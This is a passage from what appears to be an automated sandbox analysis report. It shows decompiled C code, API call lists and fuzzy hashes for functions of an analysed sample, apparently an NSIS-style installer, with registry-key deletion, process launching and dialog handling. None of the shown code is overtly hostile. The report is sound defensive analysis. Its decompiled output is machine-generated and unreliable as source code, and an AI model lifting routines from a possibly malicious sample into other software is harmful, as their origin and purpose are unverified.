				 *0x6fc64060 = _a16;
				_v12 = 0;
				_v8 = E6FC6123B();
				_t90 = E6FC612FE(_t42);
				_t87 = _t85;
				_t81 = E6FC6123B();
				_a8 = _t81;
				_t45 =  *_t81;
				if(_t45 != 0x7e && _t45 != 0x21) {
					_a16 = E6FC6123B();
					_t77 = E6FC612FE(_t74);
					_v12 = _t85;
					GlobalFree(_a16);
					_t81 = _a8;
				}
				_t46 =  *_t81;
				_t101 = _t46 - 0x2f;
				if(_t101 > 0) {
					_t47 = _t46 - 0x3c;
					__eflags = _t47;
					if(_t47 == 0) {
						__eflags =  *((char*)(_t81 + 1)) - 0x3c;
						if( *((char*)(_t81 + 1)) != 0x3c) {
							__eflags = _t87 - _v12;
							if(__eflags > 0) {
								L56:
								_t48 = 0;
								__eflags = 0;
								L57:
								asm("cdq");
								L58:
								_t90 = _t48;
								_t87 = _t85;
								L59:
								E6FC61429(_t85, _t90, _t87,  &_v52);
								E6FC61266( &_v52);
								GlobalFree(_v8);
								return GlobalFree(_a8);
							}
							if(__eflags < 0) {
								L49:
								__eflags = 0;
								L50:
								_t48 = 1;
								goto L57;
							}
							__eflags = _t90 - _t77;
							if(_t90 < _t77) {
								goto L49;
							}
							goto L56;
						}
						_t85 = _t87;
						_t48 = E6FC62EF0(_t90, _t77, _t85);
						goto L58;
					}
					_t57 = _t47 - 1;
					__eflags = _t57;
					if(_t57 == 0) {
						__eflags = _t90 - _t77;
						if(_t90 != _t77) {
							goto L56;
						}
						__eflags = _t87 - _v12;
						if(_t87 != _v12) {
							goto L56;
						}
						goto L49;
					}
					_t58 = _t57 - 1;
					__eflags = _t58;
					if(_t58 == 0) {
						__eflags =  *((char*)(_t81 + 1)) - 0x3e;
						if( *((char*)(_t81 + 1)) != 0x3e) {
							__eflags = _t87 - _v12;
							if(__eflags < 0) {
								goto L56;
							}
							if(__eflags > 0) {
								goto L49;
							}
							__eflags = _t90 - _t77;
							if(_t90 <= _t77) {
								goto L56;
							}
							goto L49;
						}
						__eflags =  *((char*)(_t81 + 2)) - 0x3e;
						_t85 = _t87;
						_t59 = _t90;
						_t83 = _t77;
						if( *((char*)(_t81 + 2)) != 0x3e) {
							_t48 = E6FC62F10(_t59, _t83, _t85);
						} else {
							_t48 = E6FC62F40(_t59, _t83, _t85);
						}
						goto L58;
					}
					_t60 = _t58 - 0x20;
					__eflags = _t60;
					if(_t60 == 0) {
						_t90 = _t90 ^ _t77;
						_t87 = _t87 ^ _v12;
						goto L59;
					}
					_t61 = _t60 - 0x1e;
					__eflags = _t61;
					if(_t61 == 0) {
						__eflags =  *((char*)(_t81 + 1)) - 0x7c;
						if( *((char*)(_t81 + 1)) != 0x7c) {
							_t90 = _t90 | _t77;
							_t87 = _t87 | _v12;
							goto L59;
						}
						__eflags = _t90 | _t87;
						if((_t90 | _t87) != 0) {
							goto L49;
						}
						__eflags = _t77 | _v12;
						if((_t77 | _v12) != 0) {
							goto L49;
						}
						goto L56;
					}
					__eflags = _t61 == 0;
					if(_t61 == 0) {
						_t90 =  !_t90;
						_t87 =  !_t87;
					}
					goto L59;
				}
				if(_t101 == 0) {
					L21:
					__eflags = _t77 | _v12;
					if((_t77 | _v12) != 0) {
						_v24 = E6FC62D80(_t90, _t87, _t77, _v12);
						_v20 = _t85;
						_t48 = E6FC62E30(_t90, _t87, _t77, _v12);
						_t81 = _a8;
					} else {
						_v24 = _v24 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_t48 = _t90;
						_t85 = _t87;
					}
					__eflags =  *_t81 - 0x2f;
					if( *_t81 != 0x2f) {
						goto L58;
					} else {
						_t90 = _v24;
						_t87 = _v20;
						goto L59;
					}
				}
				_t67 = _t46 - 0x21;
				if(_t67 == 0) {
					_t48 = 0;
					__eflags = _t90 | _t87;
					if((_t90 | _t87) != 0) {
						goto L57;
					}
					goto L50;
				}
				_t68 = _t67 - 4;
				if(_t68 == 0) {
					goto L21;
				}
				_t69 = _t68 - 1;
				if(_t69 == 0) {
					__eflags =  *((char*)(_t81 + 1)) - 0x26;
					if( *((char*)(_t81 + 1)) != 0x26) {
						_t90 = _t90 & _t77;
						_t87 = _t87 & _v12;
						goto L59;
					}
					__eflags = _t90 | _t87;
					if((_t90 | _t87) == 0) {
						goto L56;
					}
					__eflags = _t77 | _v12;
					if((_t77 | _v12) == 0) {
						goto L56;
					}
					goto L49;
				}
				_t70 = _t69 - 4;
				if(_t70 == 0) {
					_t48 = E6FC62D40(_t90, _t87, _t77, _v12);
					goto L58;
				} else {
					_t71 = _t70 - 1;
					if(_t71 == 0) {
						_t90 = _t90 + _t77;
						asm("adc edi, [ebp-0x8]");
					} else {
						if(_t71 == 0) {
							_t90 = _t90 - _t77;
							asm("sbb edi, [ebp-0x8]");
						}
					}
					goto L59;
				}
			}

0x6fc61837
0x6fc61841
0x6fc6184a
0x6fc6184d
0x6fc61852
0x6fc6185b
0x6fc61864
0x6fc61866
0x6fc6186d
0x6fc6186f
0x6fc61872
0x6fc61876
0x6fc61882
0x6fc6188b
0x6fc61890
0x6fc61893
0x6fc61899
0x6fc61899
0x6fc6189c
0x6fc6189f
0x6fc618a2
0x6fc61968
0x6fc61968
0x6fc6196b
0x6fc619e5
0x6fc619e9
0x6fc619f8
0x6fc619fb
0x6fc61a03
0x6fc61a03
0x6fc61a03
0x6fc61a05
0x6fc61a05
0x6fc61a06
0x6fc61a06
0x6fc61a08
0x6fc61a0a
0x6fc61a10
0x6fc61a19
0x6fc61a2a
0x6fc61a35
0x6fc61a35
0x6fc619fd
0x6fc619e0
0x6fc619e0
0x6fc619e2
0x6fc619e2
0x00000000
0x6fc619e2
0x6fc619ff
0x6fc61a01
0x00000000
0x00000000
0x00000000
0x6fc61a01
0x6fc619ed
0x6fc619f1
0x00000000
0x6fc619f1
0x6fc6196d
0x6fc6196d
0x6fc6196e
0x6fc619d7
0x6fc619d9
0x00000000
0x00000000
0x6fc619db
0x6fc619de
0x00000000
0x00000000
0x00000000
0x6fc619de
0x6fc61970
0x6fc61970
0x6fc61971
0x6fc619aa
0x6fc619ae
0x6fc619ca
0x6fc619cd
0x00000000
0x00000000
0x6fc619cf
0x00000000
0x00000000
0x6fc619d1
0x6fc619d3
0x00000000
0x00000000
0x00000000
0x6fc619d5
0x6fc619b0
0x6fc619b4
0x6fc619b6
0x6fc619b8
0x6fc619ba
0x6fc619c3
0x6fc619bc
0x6fc619bc
0x6fc619bc
0x00000000
0x6fc619ba
0x6fc61973
0x6fc61973
0x6fc61976
0x6fc619a3
0x6fc619a5
0x00000000
0x6fc619a5
0x6fc61978
0x6fc61978
0x6fc6197b
0x6fc6198b
0x6fc6198f
0x6fc6199c
0x6fc6199e
0x00000000
0x6fc6199e
0x6fc61991
0x6fc61993
0x00000000
0x00000000
0x6fc61995
0x6fc61998
0x00000000
0x00000000
0x00000000
0x6fc6199a
0x6fc6197e
0x6fc6197f
0x6fc61985
0x6fc61987
0x6fc61987
0x00000000
0x6fc6197f
0x6fc618a8
0x6fc61920
0x6fc61922
0x6fc61925
0x6fc61943
0x6fc61946
0x6fc6194c
0x6fc61951
0x6fc61927
0x6fc61927
0x6fc6192b
0x6fc6192f
0x6fc61931
0x6fc61931
0x6fc61954
0x6fc61957
0x00000000
0x6fc6195d
0x6fc6195d
0x6fc61960
0x00000000
0x6fc61960
0x6fc61957
0x6fc618aa
0x6fc618ad
0x6fc61911
0x6fc61913
0x6fc61915
0x00000000
0x00000000
0x00000000
0x6fc6191b
0x6fc618af
0x6fc618b2
0x00000000
0x00000000
0x6fc618b4
0x6fc618b5
0x6fc618eb
0x6fc618ef
0x6fc61907
0x6fc61909
0x00000000
0x6fc61909
0x6fc618f1
0x6fc618f3
0x00000000
0x00000000
0x6fc618f9
0x6fc618fc
0x00000000
0x00000000
0x00000000
0x6fc61902
0x6fc618b7
0x6fc618ba
0x6fc618e1
0x00000000
0x6fc618bc
0x6fc618bc
0x6fc618bd
0x6fc618d1
0x6fc618d3
0x6fc618bf
0x6fc618c1
0x6fc618c7
0x6fc618c9
0x6fc618c9
0x6fc618c1
0x00000000
0x6fc618bd

APIs

GlobalFree.KERNEL32 ref: 6FC61893
GlobalFree.KERNEL32 ref: 6FC61A2A
GlobalFree.KERNEL32 ref: 6FC61A2F

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeGlobal
String ID:
API String ID: 2979337801-0
Opcode ID: e38c83aaa7cb32a809fa205f242fab2aaedf30a57fc0b69378f72062c6c1161d
Instruction ID: c26657d85f55eb9c4c9b29a9a2bb50599bcfe04a1b20971504c2cfdb0b46e3a9
Opcode Fuzzy Hash: e38c83aaa7cb32a809fa205f242fab2aaedf30a57fc0b69378f72062c6c1161d
Instruction Fuzzy Hash: 2E51EE32D4C298AEDB008FBDC9C06AEBBB5BF46B5FF04415BD400A7251F631AA468761

Uniqueness

Uniqueness Score: -1.00%

Function 00402A36, Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E00402A36(void* _a4, char* _a8, intOrPtr _a12) {
				void* _v8;
				char _v272;
				long _t18;
				intOrPtr* _t27;
				long _t28;

				_t18 = RegOpenKeyExA(_a4, _a8, 0,  *0x423f30 | 0x00000008,  &_v8);
				if(_t18 == 0) {
					while(RegEnumKeyA(_v8, 0,  &_v272, 0x105) == 0) {
						if(_a12 != 0) {
							RegCloseKey(_v8);
							L8:
							return 1;
						}
						if(E00402A36(_v8,  &_v272, 0) != 0) {
							break;
						}
					}
					RegCloseKey(_v8);
					_t27 = E00405CFF(2);
					if(_t27 == 0) {
						if( *0x423f30 != 0) {
							goto L8;
						}
						_t28 = RegDeleteKeyA(_a4, _a8);
						if(_t28 != 0) {
							goto L8;
						}
						return _t28;
					}
					return  *_t27(_a4, _a8,  *0x423f30, 0);
				}
				return _t18;
			}

0x00402a57
0x00402a5f
0x00402a87
0x00402a71
0x00402ac1
0x00402ac7
0x00000000
0x00402ac9
0x00402a85
0x00000000
0x00000000
0x00402a85
0x00402a9c
0x00402aa4
0x00402aab
0x00402ad7
0x00000000
0x00000000
0x00402adf
0x00402ae7
0x00000000
0x00000000
0x00000000
0x00402ae7
0x00000000
0x00402aba
0x00402ace

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A57
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402A93
RegCloseKey.ADVAPI32(?), ref: 00402A9C
RegCloseKey.ADVAPI32(?), ref: 00402AC1
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402ADF

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 32cdae671697de7973d8bb2633bc31189b6b536a9ce7c2939538a07c10ae524a
Instruction ID: 582bceb6e4b24316922a1ee6e85d565da044e62c79b522cd3b8563d0d5e38007
Opcode Fuzzy Hash: 32cdae671697de7973d8bb2633bc31189b6b536a9ce7c2939538a07c10ae524a
Instruction Fuzzy Hash: E7111771A10049BEEF31AF90DE49DAF7B7DEB44345B104036F906A10A0DBB49E51AF69

Uniqueness

Uniqueness Score: -1.00%

Function 00401CC1, Relevance: 7.5, APIs: 5, Instructions: 39
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401CC1(int __edx) {
				void* _t17;
				struct HINSTANCE__* _t21;
				struct HWND__* _t25;
				void* _t27;

				_t25 = GetDlgItem( *(_t27 - 0x34), __edx);
				GetClientRect(_t25, _t27 - 0x40);
				_t17 = SendMessageA(_t25, 0x172, _t21, LoadImageA(_t21, E004029F6(_t21), _t21,  *(_t27 - 0x38) *  *(_t27 - 0x1c),  *(_t27 - 0x34) *  *(_t27 - 0x1c), 0x10));
				if(_t17 != _t21) {
					DeleteObject(_t17);
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t27 - 4));
				return 0;
			}

0x00401ccb
0x00401cd2
0x00401d01
0x00401d09
0x00401d10
0x00401d10
0x0040288e
0x0040289a

APIs

GetDlgItem.USER32 ref: 00401CC5
GetClientRect.USER32 ref: 00401CD2
LoadImageA.USER32 ref: 00401CF3
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D01
DeleteObject.GDI32(00000000), ref: 00401D10

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: aab1ff915591a61a6dff0f8bf18086dee3b735981cb00012526b248d1bc18b45
Instruction ID: c9eade559dcb8dabe12f7fb8fefc2ecb3bb817c4e851fb83d30c8e131ed4808d
Opcode Fuzzy Hash: aab1ff915591a61a6dff0f8bf18086dee3b735981cb00012526b248d1bc18b45
Instruction Fuzzy Hash: B5F01DB2E04105BFD700EFA4EE89DAFB7BDEB44345B104576F602F2190C6789D018B69

Uniqueness

Uniqueness Score: -1.00%

Function 00404568, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78
stringCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00404568(int _a4, intOrPtr _a8, unsigned int _a12) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t26;
				void* _t34;
				signed int _t36;
				signed int _t39;
				unsigned int _t46;

				_t46 = _a12;
				_push(0x14);
				_pop(0);
				_t34 = 0xffffffdc;
				if(_t46 < 0x100000) {
					_push(0xa);
					_pop(0);
					_t34 = 0xffffffdd;
				}
				if(_t46 < 0x400) {
					_t34 = 0xffffffde;
				}
				if(_t46 < 0xffff3333) {
					_t39 = 0x14;
					asm("cdq");
					_t46 = _t46 + 1 / _t39;
				}
				_push(E004059FF(_t34, 0, _t46,  &_v36, 0xffffffdf));
				_push(E004059FF(_t34, 0, _t46,  &_v68, _t34));
				_t21 = _t46 & 0x00ffffff;
				_t36 = 0xa;
				_push(((_t46 & 0x00ffffff) + _t21 * 4 + (_t46 & 0x00ffffff) + _t21 * 4 >> 0) % _t36);
				_push(_t46 >> 0);
				_t26 = E004059FF(_t34, 0, 0x420478, 0x420478, _a8);
				wsprintfA(_t26 + lstrlenA(0x420478), "%u.%u%s%s");
				return SetDlgItemTextA( *0x423658, _a4, 0x420478);
			}

0x00404570
0x00404574
0x0040457c
0x0040457f
0x00404580
0x00404582
0x00404584
0x00404587
0x00404587
0x0040458e
0x00404594
0x00404594
0x0040459b
0x004045a6
0x004045a7
0x004045aa
0x004045aa
0x004045b7
0x004045c2
0x004045c5
0x004045d7
0x004045de
0x004045df
0x004045ee
0x004045fe
0x0040461a

APIs

lstrlenA.KERNEL32(00420478,00420478,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404488,000000DF,0000040F,00000400,00000000), ref: 004045F6
wsprintfA.USER32 ref: 004045FE
SetDlgItemTextA.USER32 ref: 00404611

Strings

%u.%u%s%s, xrefs: 004045E0

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: 1fe6c35c0a5c12af0758eda6fcd91f800dae708434e3b464b1985a7a483ce98e
Instruction ID: de100ae33fd703a766e80fabf1c0ef7e237f6bef08e04a4196497c65211e5d03
Opcode Fuzzy Hash: 1fe6c35c0a5c12af0758eda6fcd91f800dae708434e3b464b1985a7a483ce98e
Instruction Fuzzy Hash: 331104B370012477DB10666D9C05EAF329DDBC6334F14023BFA2AF61D1E9388C1186E8

Uniqueness

Uniqueness Score: -1.00%

Function 00401BAD, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E00401BAD() {
				signed int _t28;
				CHAR* _t31;
				long _t32;
				int _t37;
				signed int _t38;
				int _t42;
				int _t48;
				struct HWND__* _t52;
				void* _t55;

				 *(_t55 - 0x34) = E004029D9(3);
				 *(_t55 + 8) = E004029D9(4);
				if(( *(_t55 - 0x10) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 0x34)) = E004029F6(0x33);
				}
				__eflags =  *(_t55 - 0x10) & 0x00000002;
				if(( *(_t55 - 0x10) & 0x00000002) != 0) {
					 *(_t55 + 8) = E004029F6(0x44);
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x28)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t50 = E004029F6();
					_t28 = E004029F6();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t31 =  ~( *_t27) & _t50;
					__eflags = _t31;
					_t32 = FindWindowExA( *(_t55 - 0x34),  *(_t55 + 8), _t31,  ~( *_t28) & _t28);
					goto L10;
				} else {
					_t52 = E004029D9();
					_t37 = E004029D9();
					_t48 =  *(_t55 - 0x10) >> 2;
					if(__eflags == 0) {
						_t32 = SendMessageA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8));
						L10:
						 *(_t55 - 8) = _t32;
					} else {
						_t38 = SendMessageTimeoutA(_t52, _t37,  *(_t55 - 0x34),  *(_t55 + 8), _t42, _t48, _t55 - 8);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t55 - 4)) =  ~_t38 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t55 - 0x24)) - _t42;
				if( *((intOrPtr*)(_t55 - 0x24)) >= _t42) {
					_push( *(_t55 - 8));
					E0040593B();
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t55 - 4));
				return 0;
			}

0x00401bb6
0x00401bc2
0x00401bc5
0x00401bce
0x00401bce
0x00401bd1
0x00401bd5
0x00401bde
0x00401bde
0x00401be1
0x00401be5
0x00401be7
0x00401c34
0x00401c36
0x00401c3f
0x00401c47
0x00401c4a
0x00401c4a
0x00401c53
0x00000000
0x00401be9
0x00401bf0
0x00401bf2
0x00401bfa
0x00401bfd
0x00401c25
0x00401c59
0x00401c59
0x00401bff
0x00401c0d
0x00401c15
0x00401c18
0x00401c18
0x00401bfd
0x00401c5c
0x00401c5f
0x00401c65
0x00402833
0x00402833
0x0040288e
0x0040289a

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C0D
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C25

Strings

!, xrefs: 00401BE1

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: a21e9fedaf10b3d0faf8ff8eb7872d1ba6ab3a41dfe2fcd52b90142743086bd6
Instruction ID: 089b6e11c3ee5c2ceb15467343933f82bc3488a694e04e66c57418204d538f9a
Opcode Fuzzy Hash: a21e9fedaf10b3d0faf8ff8eb7872d1ba6ab3a41dfe2fcd52b90142743086bd6
Instruction Fuzzy Hash: B321C4B1A44209BFEF01AFB4CE4AAAE7B75EF40344F14053EF602B60D1D6B84980E718

Uniqueness

Uniqueness Score: -1.00%

Function 0040523D, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040523D(CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				int _t7;

				0x422480->cb = 0x44;
				_t7 = CreateProcessA(0, _a4, 0, 0, 0, 0, 0, 0, 0x422480,  &_v20);
				if(_t7 != 0) {
					CloseHandle(_v20.hThread);
					return _v20.hProcess;
				}
				return _t7;
			}

0x00405246
0x00405262
0x0040526a
0x0040526f
0x00000000
0x00405275
0x00405279

APIs

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00422480,Error launching installer), ref: 00405262
CloseHandle.KERNEL32(?), ref: 0040526F

Strings

Error launching installer, xrefs: 00405250
C:\Users\user\AppData\Local\Temp\, xrefs: 0040523D

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateHandleProcess
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 3712363035-1785902839
Opcode ID: 1f2f9ff3088062fdf2c67fe66ccdb0f341c5896b9e6aafa6ba1adbb34377fffc
Instruction ID: 0a3d69d2a3401d9d63374a1600280413a6fd3692a6ba6d2da32d4f839eaa01ec
Opcode Fuzzy Hash: 1f2f9ff3088062fdf2c67fe66ccdb0f341c5896b9e6aafa6ba1adbb34377fffc
Instruction Fuzzy Hash: BEE0E674A1010ABBDB00EF64DD09D6B7B7CFB00304B408621E911E2150D774E4108A79

Uniqueness

Uniqueness Score: -1.00%

Function 004054D0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054D0(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x409010);
				}
				return _t7;
			}

0x004054d1
0x004054e8
0x004054f0
0x004054f0
0x004054f8

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004054D6
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004030B5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403215), ref: 004054DF
lstrcatA.KERNEL32(?,00409010), ref: 004054F0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004054D0

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction ID: 18d73bba3a4f2c077241afd2b81ba446c35da1b9bd2d8ef2eba9fb39a34af30a
Opcode Fuzzy Hash: f17b2ccdaa8efd10834e0f4341d4d5b977b2bb6e8559feba5c8cad9ccc1df0ef
Instruction Fuzzy Hash: 09D0A7B2505970AED20126195C05FCF2A08CF023117044423F640B21D2C63C5C819BFD

Uniqueness

Uniqueness Score: -1.00%

Function 00401EC5, Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401EC5(char __ebx, char* __edi, char* __esi) {
				char* _t18;
				int _t19;
				void* _t30;

				_t18 = E004029F6(0xffffffee);
				 *(_t30 - 0x2c) = _t18;
				_t19 = GetFileVersionInfoSizeA(_t18, _t30 - 0x30);
				 *__esi = __ebx;
				 *(_t30 - 8) = _t19;
				 *__edi = __ebx;
				 *((intOrPtr*)(_t30 - 4)) = 1;
				if(_t19 != __ebx) {
					__eax = GlobalAlloc(0x40, __eax);
					 *(__ebp + 8) = __eax;
					if(__eax != __ebx) {
						if(__eax != 0) {
							__ebp - 0x44 = __ebp - 0x34;
							if(VerQueryValueA( *(__ebp + 8), 0x409010, __ebp - 0x34, __ebp - 0x44) != 0) {
								 *(__ebp - 0x34) = E0040593B(__esi,  *((intOrPtr*)( *(__ebp - 0x34) + 8)));
								 *(__ebp - 0x34) = E0040593B(__edi,  *((intOrPtr*)( *(__ebp - 0x34) + 0xc)));
								 *((intOrPtr*)(__ebp - 4)) = __ebx;
							}
						}
						_push( *(__ebp + 8));
						GlobalFree();
					}
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t30 - 4));
				return 0;
			}

0x00401ec7
0x00401ecf
0x00401ed4
0x00401ed9
0x00401edd
0x00401ee0
0x00401ee2
0x00401ee9
0x00401ef2
0x00401efa
0x00401efd
0x00401f12
0x00401f18
0x00401f2b
0x00401f34
0x00401f40
0x00401f45
0x00401f45
0x00401f2b
0x00401f48
0x00401b75
0x00401b75
0x00401efd
0x0040288e
0x0040289a

APIs

GetFileVersionInfoSizeA.VERSION(00000000,?,000000EE), ref: 00401ED4
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401EF2
GetFileVersionInfoA.VERSION(?,?,?,00000000), ref: 00401F0B
VerQueryValueA.VERSION(?,00409010,?,?,?,?,?,00000000), ref: 00401F24

Part of subcall function 0040593B: wsprintfA.USER32 ref: 00405948

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: f9744f7992f8663f166aa538b3da0bee02a0a5d08582e8cd95fa90b08a46e0f1
Instruction ID: 4f4abe4324f754641e01f0e672b51484e064b7e428c6eed24e296c4d37409401
Opcode Fuzzy Hash: f9744f7992f8663f166aa538b3da0bee02a0a5d08582e8cd95fa90b08a46e0f1
Instruction Fuzzy Hash: 5F114CB2901109BFDB01EFA5D981DAEBBB9EF04354B20803AF501F61E1D7389A55DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00401D1B, Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00401D1B() {
				void* __esi;
				int _t6;
				signed char _t11;
				struct HFONT__* _t14;
				void* _t18;
				void* _t24;
				void* _t26;
				void* _t28;

				_t6 = GetDeviceCaps(GetDC( *(_t28 - 0x34)), 0x5a);
				0x40af54->lfHeight =  ~(MulDiv(E004029D9(2), _t6, 0x48));
				 *0x40af64 = E004029D9(3);
				_t11 =  *((intOrPtr*)(_t28 - 0x14));
				 *0x40af6b = 1;
				 *0x40af68 = _t11 & 0x00000001;
				 *0x40af69 = _t11 & 0x00000002;
				 *0x40af6a = _t11 & 0x00000004;
